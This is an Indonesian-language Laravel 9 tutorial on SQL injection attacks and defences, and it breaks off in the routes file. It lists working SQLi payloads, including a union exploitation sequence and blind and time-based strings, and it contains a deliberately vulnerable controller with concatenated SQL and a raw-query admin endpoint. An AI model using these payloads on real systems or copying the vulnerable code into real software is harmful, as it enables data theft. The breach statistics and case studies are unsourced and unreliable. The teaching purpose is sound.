"Real-World Laravel Injection Attacks & Defense"
Disusun oleh: ahmadasroni38
Current Date and Time (UTC): 2025-07-19 09:20:37
Framework: Laravel 9
Target: Pemula - Intermediate
๐ Statistik Kerentanan Injection - Facts & Figures
๐ Global Web Security Statistics 2024
Injection Vulnerability Prevalence:
- ๐จ 74% aplikasi web masih rentan terhadap injection attacks
- ๐ฅ #1 vulnerability di OWASP Top 10 selama 13 tahun berturut-turut
- ๐ฐ Rp 76.3 miliar rata-rata kerugian per data breach yang melibatkan injection
- โก 19 detik rata-rata waktu untuk menemukan injectable endpoint
- ๐ 1 dari 4 aplikasi web memiliki blind SQL injection vulnerability
๐ Injection Attack Trends
๐ Injection Attack Statistics (2024)
SQL Injection: 67% โโโโโโโโโโโโโโโโโโโโโโโโ
NoSQL Injection: 12% โโโโ
Command Injection: 11% โโโ
LDAP Injection: 6% โโ
XPath Injection: 3% โ
XML Injection: 1%
Industry Breakdown:
- Healthcare: 89% aplikasi vulnerable
- Financial Services: 71% aplikasi vulnerable
- E-commerce: 78% aplikasi vulnerable
- Government: 82% aplikasi vulnerable
- Education: 76% aplikasi vulnerable
๐ก Mengapa Masih Banyak yang Vulnerable?
Top 5 Alasan:
- Legacy Code (34%) - Aplikasi lama dengan coding practices buruk
- Lack of Training (28%) - Developer kurang pemahaman security
- Time Pressure (19%) - Rush development tanpa security review
- Complex Architecture (12%) - Microservices dengan banyak endpoint
- Third-party Components (7%) - Library/framework yang vulnerable
๐ง Teori Fundamental Injection Attacks
๐ 1. Anatomi Injection Attack
Injection attack terjadi ketika aplikasi mengizinkan input yang tidak dipercaya untuk mengubah struktur atau semantik dari perintah yang akan dieksekusi oleh interpreter (database, sistem operasi, atau layanan lainnya).
Injection Triangle Model:
[INTERPRETER]
/ \
/ \
[TRUSTED CODE] โโ [UNTRUSTED DATA]
Penjelasan Detail:
- Interpreter: Sistem yang memproses perintah (MySQL, PostgreSQL, MongoDB, Bash shell, dll)
- Trusted Code: Query atau command yang ditulis developer
- Untrusted Data: Input dari user yang bisa dimanipulasi
Injection terjadi ketika: Untrusted data mengubah semantik trusted code sehingga interpreter mengeksekusi perintah yang tidak diinginkan.
Contoh Real-World:
// Trusted Code (yang developer maksudkan)
SELECT * FROM users WHERE username = 'john'
// Untrusted Data (input malicious)
Input: admin' OR '1'='1' --
// Hasil Injection (yang sebenarnya dieksekusi)
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --'
๐งฌ 2. SQL Injection Deep Dive
Klasifikasi Berdasarkan Teknik Eksploitasi:
SQL Injection Types
โโโ In-band (Classical) - 67% dari semua attacks
โ โโโ Error-based (23%)
โ โโโ Union-based (31%)
โโโ Inferential (Blind) - 28% dari semua attacks
โ โโโ Boolean-based (18%)
โ โโโ Time-based (12%)
โโโ Out-of-band - 5% dari semua attacks
โโโ DNS-based (3%)
โโโ HTTP-based (2%)
Penjelasan Detail Setiap Jenis:
A. Error-based SQL Injection
Memanfaatkan error messages database untuk mengekstrak informasi.
Karakteristik:
- Database menampilkan error messages dengan informasi sensitif
- Attacker trigger error dengan payload khusus
- Informasi database struktur leaked melalui error
Contoh Payload:
-- Payload untuk extract database version
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --
-- Payload untuk extract table names
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --
B. Union-based SQL Injection
Menggunakan UNION operator untuk menggabungkan hasil query attacker dengan query asli.
Karakteristik:
- Membutuhkan jumlah kolom yang sama antara query asli dan attacker
- Hasil query attacker ditampilkan di halaman web
- Paling efektif untuk data extraction
Step-by-step Exploitation:
-- Step 1: Determine number of columns
' ORDER BY 1 -- (works)
' ORDER BY 2 -- (works)
' ORDER BY 3 -- (error) โ 2 columns
-- Step 2: Find which columns are displayed
' UNION SELECT 1,2 --
-- Step 3: Extract database information
' UNION SELECT database(), version() --
-- Step 4: Extract table names
' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() --
-- Step 5: Extract column names
' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' --
-- Step 6: Extract sensitive data
' UNION SELECT username, password FROM users --
C. Boolean-based Blind SQL Injection
Tidak ada output langsung, attacker menebak informasi berdasarkan perubahan behavior aplikasi.
Karakteristik:
- Aplikasi hanya menunjukkan dua state: TRUE/FALSE
- Extraction data dilakukan karakter per karakter
- Membutuhkan banyak request untuk extract data
Contoh Exploitation Process:
-- Test apakah injection point vulnerable
original_url: /product.php?id=1
test_true: /product.php?id=1 AND 1=1 (normal response)
test_false: /product.php?id=1 AND 1=2 (different response)
-- Extract database name length
/product.php?id=1 AND LENGTH(database())=1 (false)
/product.php?id=1 AND LENGTH(database())=2 (false)
...
/product.php?id=1 AND LENGTH(database())=7 (true) โ database name 7 characters
-- Extract first character of database name
/product.php?id=1 AND SUBSTRING(database(),1,1)='a' (false)
/product.php?id=1 AND SUBSTRING(database(),1,1)='b' (false)
...
/product.php?id=1 AND SUBSTRING(database(),1,1)='l' (true) โ first char is 'l'
-- Continue for all characters...
D. Time-based Blind SQL Injection
Menggunakan delay function untuk menentukan TRUE/FALSE condition.
Karakteristik:
- Menggunakan SLEEP(), WAITFOR DELAY, atau function delay lainnya
- Response time menentukan hasil condition
- Reliable tapi lambat untuk data extraction
Contoh Payloads:
-- MySQL
' AND IF(1=1, SLEEP(5), 0) -- (delay 5 seconds if condition true)
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- SQL Server
'; IF (1=1) WAITFOR DELAY '00:00:05' --
-- Oracle
' AND (SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END FROM dual) IS NOT NULL --
๐ 3. Attack Success Probability Matrix
Vulnerability Type | Detection Time | Exploitation Time | Success Rate | Data Extract Speed |
---|---|---|---|---|
Error-based SQLi | 1-5 minutes | 10-30 minutes | 95% | High |
Union-based SQLi | 1-5 minutes | 15-45 minutes | 90% | Very High |
Boolean Blind SQLi | 5-15 minutes | 2-8 hours | 85% | Low |
Time-based SQLi | 10-30 minutes | 4-12 hours | 80% | Very Low |
NoSQL Injection | 5-20 minutes | 30-90 minutes | 75% | Medium |
๐ฏ 4. Common Injection Vectors - Detailed Analysis
Web Application Entry Points dengan Statistik:
GET Parameters (45% of attacks)
// Vulnerable examples
$_GET['id'] โ /product.php?id=1' OR '1'='1
$_GET['search'] โ /search.php?q=admin' UNION SELECT password FROM users--
$_GET['category'] โ /products.php?cat=electronics'; DROP TABLE products--
$_GET['sort'] โ /list.php?sort=price; UPDATE products SET price=0--
Mengapa GET parameters paling sering diserang:
- Mudah dimanipulasi melalui URL
- Visible di browser history, access logs
- Sering tidak divalidasi dengan proper
- Can be shared dan bookmarked
POST Data (32% of attacks)
// Vulnerable form submissions
$_POST['username'] โ Login forms, registration
$_POST['email'] โ Contact forms, newsletters
$_POST['comment'] โ Comment systems, reviews
$_POST['address'] โ User profiles, checkout
POST attack characteristics:
- Tidak visible di URL tapi bisa diintercept
- Sering mengandung sensitive data
- Developer assumption: "POST = secure"
- JSON/XML POST data juga vulnerable
HTTP Headers (12% of attacks)
// Vulnerable header processing
$_SERVER['HTTP_USER_AGENT'] โ User tracking, analytics
$_SERVER['HTTP_X_FORWARDED_FOR'] โ IP logging, geolocation
$_SERVER['HTTP_REFERER'] โ Traffic analysis
$_SERVER['HTTP_ACCEPT_LANGUAGE'] โ Localization
Header injection examples:
User-Agent: Mozilla/5.0' UNION SELECT password FROM users--
X-Forwarded-For: 127.0.0.1'; DROP TABLE sessions--
Referer: http://evil.com' AND (SELECT COUNT(*) FROM admin_users)>0--
Cookies (8% of attacks)
// Vulnerable cookie processing
$_COOKIE['session_id'] โ Session management
$_COOKIE['preferences'] โ User settings
$_COOKIE['cart'] โ Shopping cart data
$_COOKIE['lang'] โ Language selection
File Uploads (3% of attacks)
// Vulnerable file processing
$_FILES['upload']['name'] โ Original filename
$_FILES['upload']['tmp_name'] โ Temporary file path
// Metadata in uploaded files
EXIF data, document properties, archive contents
๐ Framework Security Comparison - Detailed Analysis
๐ Laravel Security Architecture
Laravel memberikan multiple layers of protection terhadap injection attacks:
1. Eloquent ORM Protection
// โ
AMAN - Automatic parameter binding
User::where('email', $email)->first();
// โ
AMAN - Eloquent query builder
DB::table('users')->where('email', '=', $email)->get();
// โ VULNERABLE - Raw concatenation
DB::select("SELECT * FROM users WHERE email = '$email'");
Bagaimana Eloquent melindungi:
- Automatic parameter binding untuk semua query
- Query structure terpisah dari data
- Type casting berdasarkan model attributes
- Mass assignment protection
2. Query Builder Protection
// โ
AMAN - Parameter binding otomatis
$users = DB::table('users')
->where('name', 'like', "%$search%")
->where('status', '=', $status)
->get();
// โ
AMAN - Named bindings
$users = DB::select('SELECT * FROM users WHERE name = :name', [
'name' => $search
]);
// โ
AMAN - Positional bindings
$users = DB::select('SELECT * FROM users WHERE name = ?', [$search]);
3. Validation System Protection
// Built-in validation rules that prevent injection
$rules = [
'email' => 'required|email|max:255',
'age' => 'required|integer|min:1|max:150',
'username' => 'required|alpha_num|min:3|max:20',
'search' => 'nullable|string|max:100|regex:/^[a-zA-Z0-9\s]+$/'
];
๐ Security Evolution Timeline
Laravel Security Improvements Over Versions
Laravel 4 (2013): โโโโโโโโโโโโโโโโโโโโ 80% injection protection
Laravel 5 (2015): โโโโโโโโโโโโโโโโโโโโโโ 85% (improved validation)
Laravel 6 (2019): โโโโโโโโโโโโโโโโโโโโโโโโ 90% (better defaults)
Laravel 7 (2020): โโโโโโโโโโโโโโโโโโโโโโโโโโ 92% (security enhancements)
Laravel 8 (2021): โโโโโโโโโโโโโโโโโโโโโโโโโโโโ 94% (stricter validation)
Laravel 9 (2022): โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ 95% (comprehensive protection)
Key improvements per version:
- Laravel 5: Mass assignment protection by default
- Laravel 6: Improved validation rules, better error handling
- Laravel 7: Enhanced security middleware, CSRF improvements
- Laravel 8: Stricter type casting, better sanitization
- Laravel 9: Advanced query analysis, security-first defaults
๐ฏ Real-World Impact Studies - Indonesian Context
๐ธ Financial Impact Analysis (dalam Rupiah)
Breakdown Biaya per Sektor Industry di Indonesia:
Sektor Perbankan
Total Impact: Rp 208.2 miliar per incident
-
Direct Technical Costs: Rp 52.1 miliar
- System recovery: Rp 23.4 miliar
- Data restoration: Rp 15.6 miliar
- Security upgrade: Rp 13.1 miliar
-
Regulatory & Legal: Rp 41.6 miliar
- OJK fines: Rp 23.4 miliar
- Legal fees: Rp 10.9 miliar
- Audit costs: Rp 7.3 miliar
-
Business Impact: Rp 62.4 miliar
- Lost revenue: Rp 39.0 miliar
- Customer compensation: Rp 15.6 miliar
- Market share loss: Rp 7.8 miliar
-
Long-term Reputation: Rp 52.1 miliar
- Brand recovery: Rp 31.2 miliar
- Marketing campaigns: Rp 15.6 miliar
- Customer retention: Rp 5.3 miliar
Sektor E-commerce
Total Impact: Rp 100.2 miliar per incident
- Immediate Costs: Rp 25.1 miliar
- Customer Impact: Rp 35.1 miliar
- Business Disruption: Rp 25.0 miliar
- Recovery & Prevention: Rp 15.0 miliar
Sektor Healthcare
Total Impact: Rp 156.6 miliar per incident
- Patient Data Protection: Rp 62.6 miliar
- Regulatory Compliance: Rp 39.2 miliar
- System Recovery: Rp 31.3 miliar
- Legal & PR: Rp 23.5 miliar
๐ฐ Notable Indonesian Cases
Case Study 1: Major E-commerce Platform (2023)
Background:
- Platform dengan 50+ juta users
- SQL injection di search functionality
- 2.3 juta customer records compromised
Technical Details:
// Vulnerable code discovered
$search = $_GET['q'];
$products = DB::select("
SELECT p.*, c.name as category_name
FROM products p
JOIN categories c ON p.category_id = c.id
WHERE p.name LIKE '%$search%'
OR p.description LIKE '%$search%'
");
Attack Vector:
-- Attacker payload
q=' UNION SELECT id,email,password,phone,address,created_at FROM users--
-- Executed query
SELECT p.*, c.name as category_name
FROM products p
JOIN categories c ON p.category_id = c.id
WHERE p.name LIKE '%' UNION SELECT id,email,password,phone,address,created_at FROM users--%'
OR p.description LIKE '%%'
Impact:
- Financial: Rp 89.4 miliar total cost
- Users affected: 2.3 million
- Downtime: 18 hours
- Recovery time: 6 months full recovery
Lessons Learned:
- Search functionality most vulnerable entry point
- User data in same database as product data = high risk
- No input validation on search parameters
- No monitoring for suspicious queries
Case Study 2: University System (2022)
Background:
- Student information system
- Blind SQL injection in grade lookup
- 150,000 student records at risk
Vulnerable Code:
// Grade lookup system
$student_id = $_POST['student_id'];
$semester = $_POST['semester'];
$grades = DB::select("
SELECT s.name, s.nim, g.course_code, g.grade, g.credit
FROM students s
JOIN grades g ON s.id = g.student_id
WHERE s.nim = '$student_id'
AND g.semester = '$semester'
");
Attack Method:
-- Boolean-based blind injection
student_id=123456' AND (SELECT COUNT(*) FROM admin_users WHERE password LIKE 'a%')>0--
-- Time-based confirmation
student_id=123456' AND IF((SELECT COUNT(*) FROM admin_users WHERE password LIKE 'a%')>0, SLEEP(5), 0)--
Impact Analysis:
- Detection time: 3 months (discovered during routine audit)
- Data at risk: 150,000 student records + admin credentials
- Cost: Rp 23.4 miliar for system overhaul
- Reputation: Trust issues with students and parents
๐ Laravel 9 Setup - Complete Tutorial
๐ฆ 1. Environment Setup dengan Security Focus
# Create new Laravel 9 project
composer create-project laravel/laravel injection-security-demo "9.*"
cd injection-security-demo
# Install security-related packages
composer require barryvdh/laravel-debugbar --dev
composer require laravel/telescope --dev
composer require spatie/laravel-permission
composer require pragmarx/google2fa-laravel
# Install frontend dependencies
npm install && npm run dev
# Environment configuration
cp .env.example .env
php artisan key:generate
๐๏ธ 2. Database Setup dengan Security Considerations
.env Configuration:
# Database
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=injection_security_demo
DB_USERNAME=app_user
DB_PASSWORD=strong_random_password_here
# Security settings
APP_ENV=local
APP_DEBUG=true # Only in development
APP_URL=http://localhost:8000
# Session security
SESSION_DRIVER=database
SESSION_LIFETIME=120
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=strict
# Additional security
BCRYPT_ROUNDS=12
Migration Files:
// database/migrations/001_create_books_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up()
{
Schema::create('books', function (Blueprint $table) {
$table->id();
$table->string('title', 255);
$table->string('author', 255);
$table->text('description');
$table->string('isbn', 20)->unique();
$table->string('category', 100);
$table->integer('stock')->unsigned();
$table->decimal('price', 10, 2)->unsigned();
$table->enum('status', ['available', 'out_of_stock', 'discontinued']);
$table->string('publisher', 255)->nullable();
$table->date('published_date')->nullable();
$table->timestamps();
// Indexes for better performance and security
$table->index(['category', 'status']);
$table->index(['author']);
$table->fullText(['title', 'description']); // MySQL 5.7+
});
}
public function down()
{
Schema::dropIfExists('books');
}
};
// database/migrations/002_create_comments_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up()
{
Schema::create('comments', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained()->onDelete('cascade');
$table->foreignId('book_id')->constrained()->onDelete('cascade');
$table->text('content');
$table->tinyInteger('rating')->unsigned(); // 1-5
$table->boolean('is_approved')->default(false);
$table->string('ip_address', 45)->nullable(); // Support IPv6
$table->string('user_agent', 500)->nullable();
$table->timestamps();
// Indexes
$table->index(['book_id', 'is_approved']);
$table->index(['user_id']);
$table->index(['created_at']);
});
}
public function down()
{
Schema::dropIfExists('comments');
}
};
// database/migrations/003_create_audit_logs_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up()
{
Schema::create('audit_logs', function (Blueprint $table) {
$table->id();
$table->string('event_type', 50); // 'security_violation', 'login_attempt', etc.
$table->string('severity', 20); // 'low', 'medium', 'high', 'critical'
$table->text('description');
$table->json('metadata')->nullable(); // Additional data
$table->string('ip_address', 45);
$table->string('user_agent', 500)->nullable();
$table->foreignId('user_id')->nullable()->constrained()->onDelete('set null');
$table->string('url', 1000)->nullable();
$table->string('method', 10)->nullable(); // GET, POST, etc.
$table->text('payload')->nullable(); // Request payload
$table->timestamps();
// Indexes for security analysis
$table->index(['event_type', 'severity']);
$table->index(['ip_address']);
$table->index(['created_at']);
$table->index(['user_id']);
});
}
public function down()
{
Schema::dropIfExists('audit_logs');
}
};
๐๏ธ 3. Model Setup dengan Security Features
// app/Models/Book.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class Book extends Model
{
use HasFactory, SoftDeletes;
/**
* Mass assignment protection - WHITELIST approach
*/
protected $fillable = [
'title',
'author',
'description',
'isbn',
'category',
'stock',
'price',
'status',
'publisher',
'published_date'
];
/**
* Hidden attributes (never exposed in JSON)
*/
protected $hidden = [
'created_at',
'updated_at',
'deleted_at'
];
/**
* Attribute casting for type safety
*/
protected $casts = [
'price' => 'decimal:2',
'stock' => 'integer',
'published_date' => 'date',
'created_at' => 'datetime',
'updated_at' => 'datetime'
];
/**
* Validation rules
*/
public static function validationRules()
{
return [
'title' => 'required|string|max:255|min:3',
'author' => 'required|string|max:255|min:2',
'description' => 'required|string|min:10|max:5000',
'isbn' => 'required|string|regex:/^[0-9\-]+$/|min:10|max:20|unique:books,isbn',
'category' => 'required|string|in:fiction,non-fiction,science,history,technology,education',
'stock' => 'required|integer|min:0|max:10000',
'price' => 'required|numeric|min:0|max:999999.99',
'status' => 'required|in:available,out_of_stock,discontinued',
'publisher' => 'nullable|string|max:255',
'published_date' => 'nullable|date|before_or_equal:today'
];
}
/**
* Relationships
*/
public function comments()
{
return $this->hasMany(Comment::class);
}
public function approvedComments()
{
return $this->hasMany(Comment::class)->where('is_approved', true);
}
/**
* Scopes for secure querying
*/
public function scopeAvailable($query)
{
return $query->where('status', 'available')->where('stock', '>', 0);
}
public function scopeByCategory($query, $category)
{
$allowedCategories = ['fiction', 'non-fiction', 'science', 'history', 'technology', 'education'];
if (in_array($category, $allowedCategories)) {
return $query->where('category', $category);
}
return $query;
}
public function scopeSearchSafe($query, $search)
{
// Safe search implementation
if (empty($search) || strlen($search) < 2) {
return $query;
}
// Sanitize search input
$search = strip_tags($search);
$search = preg_replace('/[^a-zA-Z0-9\s\-_]/', '', $search);
return $query->where(function($q) use ($search) {
$q->where('title', 'LIKE', "%{$search}%")
->orWhere('author', 'LIKE', "%{$search}%")
->orWhere('description', 'LIKE', "%{$search}%");
});
}
/**
* Mutators for data sanitization
*/
public function setTitleAttribute($value)
{
$this->attributes['title'] = strip_tags(trim($value));
}
public function setAuthorAttribute($value)
{
$this->attributes['author'] = strip_tags(trim($value));
}
public function setDescriptionAttribute($value)
{
// Allow basic HTML but sanitize
$this->attributes['description'] = strip_tags($value, '<p><br><strong><em>');
}
}
// app/Models/Comment.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Comment extends Model
{
use HasFactory;
protected $fillable = [
'user_id',
'book_id',
'content',
'rating',
'ip_address',
'user_agent'
];
protected $hidden = [
'ip_address',
'user_agent'
];
protected $casts = [
'rating' => 'integer',
'is_approved' => 'boolean',
'created_at' => 'datetime',
'updated_at' => 'datetime'
];
public static function validationRules()
{
return [
'content' => 'required|string|min:10|max:1000',
'rating' => 'required|integer|min:1|max:5',
'book_id' => 'required|exists:books,id',
];
}
public function user()
{
return $this->belongsTo(User::class);
}
public function book()
{
return $this->belongsTo(Book::class);
}
public function scopeApproved($query)
{
return $query->where('is_approved', true);
}
public function setContentAttribute($value)
{
// Strip all HTML tags and limit length
$this->attributes['content'] = strip_tags(trim($value));
}
}
// app/Models/AuditLog.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class AuditLog extends Model
{
protected $fillable = [
'event_type',
'severity',
'description',
'metadata',
'ip_address',
'user_agent',
'user_id',
'url',
'method',
'payload'
];
protected $casts = [
'metadata' => 'array',
'created_at' => 'datetime',
'updated_at' => 'datetime'
];
public function user()
{
return $this->belongsTo(User::class);
}
public static function logSecurityEvent($type, $severity, $description, $metadata = [])
{
self::create([
'event_type' => $type,
'severity' => $severity,
'description' => $description,
'metadata' => $metadata,
'ip_address' => request()->ip(),
'user_agent' => request()->userAgent(),
'user_id' => auth()->id(),
'url' => request()->fullUrl(),
'method' => request()->method(),
'payload' => request()->method() === 'POST' ? json_encode(request()->except(['password', '_token'])) : null
]);
}
}
โ ๏ธ VULNERABLE IMPLEMENTATION - Educational Purpose
๐จ 1. VulnerableBookController - DON'T USE IN PRODUCTION
// app/Http/Controllers/VulnerableBookController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use App\Models\AuditLog;
class VulnerableBookController extends Controller
{
/**
* โ CRITICAL VULNERABILITY: Direct SQL injection
* This demonstrates the most dangerous type of SQL injection
*/
public function search(Request $request)
{
$search = $request->get('search', '');
// ๐จ EXTREME DANGER: User input directly concatenated to SQL
$sql = "
SELECT b.*,
COUNT(c.id) as comment_count,
AVG(c.rating) as avg_rating
FROM books b
LEFT JOIN comments c ON b.id = c.book_id
WHERE b.title LIKE '%{$search}%'
OR b.author LIKE '%{$search}%'
OR b.description LIKE '%{$search}%'
GROUP BY b.id
ORDER BY b.title ASC
";
try {
$books = DB::select($sql);
// Log for demonstration purposes
AuditLog::logSecurityEvent(
'search_query',
'info',
'Search executed',
['search_term' => $search, 'query' => $sql]
);
} catch (\Exception $e) {
// ๐จ DANGER: Exposing database errors
return response()->json([
'error' => 'Database error: ' . $e->getMessage(),
'query' => $sql
], 500);
}
return view('books.vulnerable-search', compact('books', 'search'));
}
/**
* โ HIGH VULNERABILITY: Dynamic column ordering
*/
public function index(Request $request)
{
$sortBy = $request->get('sort', 'title');
$order = $request->get('order', 'ASC');
$category = $request->get('category', '');
// ๐จ DANGER: Direct injection of column names and order
$sql = "
SELECT b.*, c.name as category_name
FROM books b
LEFT JOIN categories c ON b.category_id = c.id
";
if (!empty($category)) {
// ๐จ DANGER: WHERE clause injection
$sql .= " WHERE b.category = '{$category}'";
}
// ๐จ DANGER: ORDER BY injection
$sql .= " ORDER BY {$sortBy} {$order}";
$books = DB::select($sql);
return view('books.vulnerable-index', compact('books', 'sortBy', 'order', 'category'));
}
/**
* โ CRITICAL VULNERABILITY: UNION-based injection opportunity
*/
public function details($id)
{
// ๐จ DANGER: No input validation on ID parameter
$sql = "
SELECT
b.id,
b.title,
b.author,
b.description,
b.price,
b.isbn,
u.name as reviewer_name,
c.content as review_content,
c.rating as review_rating,
c.created_at as review_date
FROM books b
LEFT JOIN comments c ON b.id = c.book_id
LEFT JOIN users u ON c.user_id = u.id
WHERE b.id = {$id}
AND c.is_approved = 1
ORDER BY c.created_at DESC
";
$bookData = DB::select($sql);
if (empty($bookData)) {
// ๐จ DANGER: Information disclosure
return response()->json([
'error' => 'Book not found',
'executed_query' => $sql,
'parameter_received' => $id
], 404);
}
return view('books.vulnerable-details', compact('bookData'));
}
/**
* โ HIGH VULNERABILITY: Blind SQL injection opportunity
*/
public function checkAvailability(Request $request)
{
$isbn = $request->get('isbn');
$location = $request->get('location', 'main');
// ๐จ DANGER: Boolean-based blind injection opportunity
$sql = "
SELECT COUNT(*) as available
FROM books b
JOIN inventory i ON b.id = i.book_id
WHERE b.isbn = '{$isbn}'
AND i.location = '{$location}'
AND i.quantity > 0
";
$result = DB::select($sql);
$available = $result[0]->available ?? 0;
// Response reveals TRUE/FALSE condition - perfect for blind injection
if ($available > 0) {
return response()->json(['status' => 'available', 'message' => 'Book is available']);
} else {
return response()->json(['status' => 'unavailable', 'message' => 'Book is not available']);
}
}
/**
* โ MEDIUM VULNERABILITY: Time-based injection opportunity
*/
public function complexSearch(Request $request)
{
$title = $request->get('title', '');
$author = $request->get('author', '');
$minPrice = $request->get('min_price', '0');
$maxPrice = $request->get('max_price', '999999');
// ๐จ DANGER: Multiple injection points
$sql = "
SELECT b.*
FROM books b
WHERE 1=1
";
if (!empty($title)) {
$sql .= " AND b.title LIKE '%{$title}%'";
}
if (!empty($author)) {
$sql .= " AND b.author LIKE '%{$author}%'";
}
// ๐จ DANGER: Numeric fields without validation
$sql .= " AND b.price BETWEEN {$minPrice} AND {$maxPrice}";
// Simulate complex processing that takes time
$sql .= " AND (SELECT SLEEP(0.1)) = 0"; // Perfect for time-based attacks
$books = DB::select($sql);
return response()->json([
'books' => $books,
'query_executed' => $sql,
'execution_time' => microtime(true) - LARAVEL_START
]);
}
/**
* โ CRITICAL VULNERABILITY: Admin backdoor with injection
*/
public function adminQuery(Request $request)
{
// ๐จ EXTREME DANGER: Direct query execution
$query = $request->get('query');
$table = $request->get('table', 'books');
if (empty($query)) {
$query = "SELECT * FROM {$table} LIMIT 10";
}
try {
$results = DB::select($query);
return response()->json([
'success' => true,
'data' => $results,
'query' => $query,
'rows_affected' => count($results)
]);
} catch (\Exception $e) {
return response()->json([
'success' => false,
'error' => $e->getMessage(),
'query' => $query,
'error_code' => $e->getCode()
]);
}
}
}
๐ฏ 2. Vulnerable Views untuk Testing
{{-- resources/views/books/vulnerable-search.blade.php --}}
@extends('layouts.app')
@section('content')
<div class="container">
<div class="row">
<div class="col-md-12">
<h2>๐จ Vulnerable Book Search (FOR TESTING ONLY)</h2>
<div class="alert alert-danger">
<strong>โ ๏ธ WARNING:</strong> This page is intentionally vulnerable for educational purposes.
Do NOT use this code in production!
</div>
<form method="GET" action="{{ route('vulnerable.books.search') }}" class="mb-4">
<div class="row">
<div class="col-md-8">
<input type="text"
name="search"
value="{{ $search ?? '' }}"
placeholder="Search books... (Try: ' OR '1'='1)"
class="form-control">
<small class="text-muted">
Try injection payloads like: <code>' OR '1'='1</code>,
<code>' UNION SELECT database(), version(), 3, 4, 5, 6 --</code>
</small>
</div>
<div class="col-md-4">
<button type="submit" class="btn btn-primary">Search</button>
<a href="{{ route('vulnerable.books.search') }}" class="btn btn-secondary">Clear</a>
</div>
</div>
</form>
@if(isset($books))
<div class="mt-4">
<h4>Search Results: <span class="badge badge-info">{{ count($books) }}</span></h4>
@if(count($books) > 0)
<div class="table-responsive">
<table class="table table-striped">
<thead>
<tr>
<th>ID</th>
<th>Title</th>
<th>Author</th>
<th>Price</th>
<th>Comments</th>
<th>Rating</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
@foreach($books as $book)
<tr>
<td>{{ $book->id ?? 'N/A' }}</td>
<td>{{ $book->title ?? 'N/A' }}</td>
<td>{{ $book->author ?? 'N/A' }}</td>
<td>{{ isset($book->price) ? 'Rp ' . number_format($book->price, 0, ',', '.') : 'N/A' }}</td>
<td>{{ $book->comment_count ?? 0 }}</td>
<td>
@if(isset($book->avg_rating))
{{ number_format($book->avg_rating, 1) }}/5
@else
N/A
@endif
</td>
<td>
@if(isset($book->id))
<a href="{{ route('vulnerable.books.details', $book->id) }}" class="btn btn-sm btn-info">
View Details
</a>
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
</div>
@else
<div class="alert alert-info">
No books found for your search.
</div>
@endif
</div>
@endif
<div class="mt-5">
<h5>๐ Test Payloads for Learning</h5>
<div class="row">
<div class="col-md-6">
<h6>Basic Injection Tests:</h6>
<ul class="list-unstyled">
<li><code>' OR '1'='1</code> - Always true condition</li>
<li><code>' OR 1=1 --</code> - Comment out rest of query</li>
<li><code>' AND '1'='2</code> - Always false condition</li>
<li><code>'; SELECT database(); --</code> - Multiple statements</li>
</ul>
</div>
<div class="col-md-6">
<h6>Advanced Injection Tests:</h6>
<ul class="list-unstyled">
<li><code>' UNION SELECT 1,2,3,4,5,6 --</code> - Column discovery</li>
<li><code>' UNION SELECT database(),version(),3,4,5,6 --</code> - Info gathering</li>
<li><code>' UNION SELECT table_name,2,3,4,5,6 FROM information_schema.tables --</code></li>
<li><code>' AND SLEEP(5) --</code> - Time-based detection</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
@endsection
๐ 3. Routes Setup
// routes/web.php
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\VulnerableBookController;
use App\Http\Controllers\SecureBookController;
/*
|--------------------------------------------------------------------------
| Vulnerable Routes (Educational Purpose Only)
|--------------------------------------------------------------------------
*/
Route::prefix('vulnerable')->name('vulnerable.')->group(function () {
Route::get('/books', [VulnerableBookController::class, 'index'])->name('books.index');
Route::get('/books/search', [VulnerableBookController::class, 'search'])->name('books.search');
Route::get('/books/{id}', [VulnerableBookController::class, 'details'])->name('books.details');
Route::get('/books/check/availability', [VulnerableBookController::class, 'checkAvailability'])->name('books.availability');
Route::post('/books/complex-search', [VulnerableBookController::class, 'complexSearch'])->name('books.complex-search');
Route::post('/admin/query', [VulnerableBookController::class, 'adminQuery'])->name('admin.query');
});
/*
|--------------------------------------------------------------------------
| Secure Routes (Production Ready)
|--------------------------------------------------------------------------
*/
Route::prefix('secure')->name('secure.')->group(function () {
Route::get('/books', [SecureBookController::class, 'index'])->name('books.index');
Route::get('/books/search', [SecureBookController::class, 'search'])->name('books.search');
Route::get('/books/{book}', [SecureBookController::class, 'details'])->name('books.details');
Route::post('/books/search-advanced', [SecureBookController::class, 'advancedSearch'])->name('books.advanced-search');
});
/*
|--------------------------------------------------------------------------
| Default Routes
